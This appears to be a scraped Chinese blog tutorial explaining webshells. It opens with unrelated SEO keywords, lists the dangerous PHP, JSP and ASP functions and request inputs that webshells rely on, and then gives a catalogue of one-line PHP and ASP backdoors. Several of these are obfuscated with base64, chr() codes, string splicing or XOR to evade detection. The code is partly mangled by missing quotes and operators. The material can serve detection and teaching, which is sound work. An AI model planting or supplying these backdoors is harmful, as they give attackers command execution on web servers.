深圳国外网站建设,比尤果网做的好的网站,崇川网站建设,wordpress联系页面Webshell详解 一、 Webshell 介绍二 、 基础常见webshell案例 一、 Webshell 介绍
概念
webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境#xff0c;也可以将其称做为一种网页后门。黑客在入侵了一个网站后#xff0c;通常会将asp或php后门文件与… Webshell详解 一、 Webshell 介绍二 、 基础常见webshell案例 一、 Webshell 介绍
概念
webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境也可以将其称做为一种网页后门。黑客在入侵了一个网站后通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起然后就可以使用浏览器来访问asp或者php后门文件得到一个命令执行环境以达到控制网站服务器的目的。
从字面上来说webshell单词可以拆成web和shell。其中web即服务器所开放的web服务。Shell即命令执行环境用户与服务器操作系统交互的接口。即黑客通过网站提供的web服务建立与服务器进行交互的执行环境从而获取服务器的一些权限最终达到控制网站服务器的目的。
简单介绍
一个最简单的 php webshell
?php system($_GET[1]); ?利用该webshell执行任意命令
webshell本质
如下任意命令执行类webshell一般由以下两部分组成 威胁函数 可控参数
简单总结 Webshell的本质其实是威胁函数和可控参数的组合调用二者缺一不可。
绝大多数webshell都遵循这个原则理解了这个大原则也就基本了解了webshell的逻辑。
威胁函数与可控输入总结常见
php Webshell威胁函数 :
1 - 命令执行类函数:
exec,passthru,shell_exec,system,popen,proc_open,expect_popen,pcntl_exec,ssh2_exec,
php_check_syntax,virtual,escapeshellcmd2 – 执行代码段函数
assert,eval,create_function,runkit_function_add,runkit_function_redefine 3 – 回调类函数
call_user_func,call_user_func_array,array_diff_uassoc,array_diff_ukey,
array_filter,array_intersect_uassoc,array_intersect_ukey,array_map,
array_reduce,array_udiff,array_udiff_assoc,array_udiff_uassoc…4 – 文件包含函数
include, require, require_once, include_oncephp webshell 可控输入
$_GET
$_POST
$_COOKIE
$_REQUEST
$_FILES
$_SERVERjsp webshell 威胁函数类 1 - 命令执行:
java.lang.Runtime.getRuntime().exec()
java.lang.ProcessBuilder.start()
java.lang.ProcessImpl //私有类需要使用反射加载
ScriptEngineManager().getEngineByName().eval() //ScriptEngine(实现与js交互)执行脚本
ELProcessor().eval() //tomcat el表达式
ELManager().getExpressionFactory().createValuexpression() //ELProcessor的eval的底层实现
java.beans.Expression.getValue() //java.beans.Expression命令执行
jdk.jshell.jshell.builder().build().eval() // Java 9 使用 JShell 命令执行2 - 类加载:
java.lang.ClassLoader
java.net.URLClassLoader3 - 反射
Class.forName({威胁函数})4 - 反序列化
XMLDecoder().readObject() // 类似weblogic xml 反序列化漏洞5 - jndi注入
com.sun.rowset.JdbcRowSetImpljsp 可控输入
1 - Request(HttpServletRequest)的可控参数种类
getParameter, getQueryString, getParameterNames,
getInputStream, getReader, getParameterMap, getContentLength,
getParameterValues, getHeader,
getHeaders, getParameterMap, getHeaderNames, getRequestedSessionId, getCookies, getAttribute, getAttributeNames,
getContentLengthLong2 - 其他参数类型:
URLConnection(HttpURLConnection)
Response(HttpServletResponse)
pageContextasp webshell 威胁函数
eval
execute
executeGlobal
(wscript.shell).exec()asp 可控输入
request(
Request.BinaryRead()php 函数库参考文档https://www.php.net/
java 类方法参考文档https://tool.oschina.net/apidocs/apidoc?apijdk-zh
二 、 基础常见webshell案例
PHP webshell 类
“一句话webshell” 类
?php eval($_POST[1]);??php assert($_REQUEST[c]);??php system($_POST[1]);??php shell_exec($_GET[1]);?create_function 函数使用
?php $antcreate_function(, base64_decode(QGV2YWwoJF9QT1NUWyJhbnQiXSk7));$ant();?字符拼接类
?php
$s0e;
$s1val($;
$s2_;
$s3P;
$s4O;
$s5ST;
$poos$s0.$s1.$s2.$s3.$s4.$s5.[mima]);;
$ppeval($poos);
eval($pp);
?ascii码隐藏特征字符
?php
$achr;
$b$a(97).$a(115).$a(115).$a(101).$a(114).$a(116);
echo $b;
$b($_POST[cmd]);
?preg_replace 函数 /e 特性使用
?php
$a $_REQUEST[id];
preg_replace(/.*/e, .$a,);
?include 文件包含
?php
include($_GET[bug]);
?异或逻辑运算隐藏特征字符
?php
#$_(%01^).(%13^).(%13^).(%05^).(%12^).(%14^); // $_assert;
#$___.(%0D^]).(%2F^).(%0E^]).(%09^]); // $___POST;
$_(^).(^).(^).(^).(^).(^); // $_assert;
$___.({^).(/^).(^]).( ^]); // $___POST;
echo $__;
$___$$__;
$_($___[_]); // assert($_POST[_]);
?asp webshell类
eval 执行任意命令
%eval request(qt)%execute 执行任意命令
%
dim a(5)
a(0)request(404)
eXecUTe(a(0))
%COM组件命令执行
%server.createobject(wscript.shell).exec(cmd.exe /c request(qt)).stdout.readall%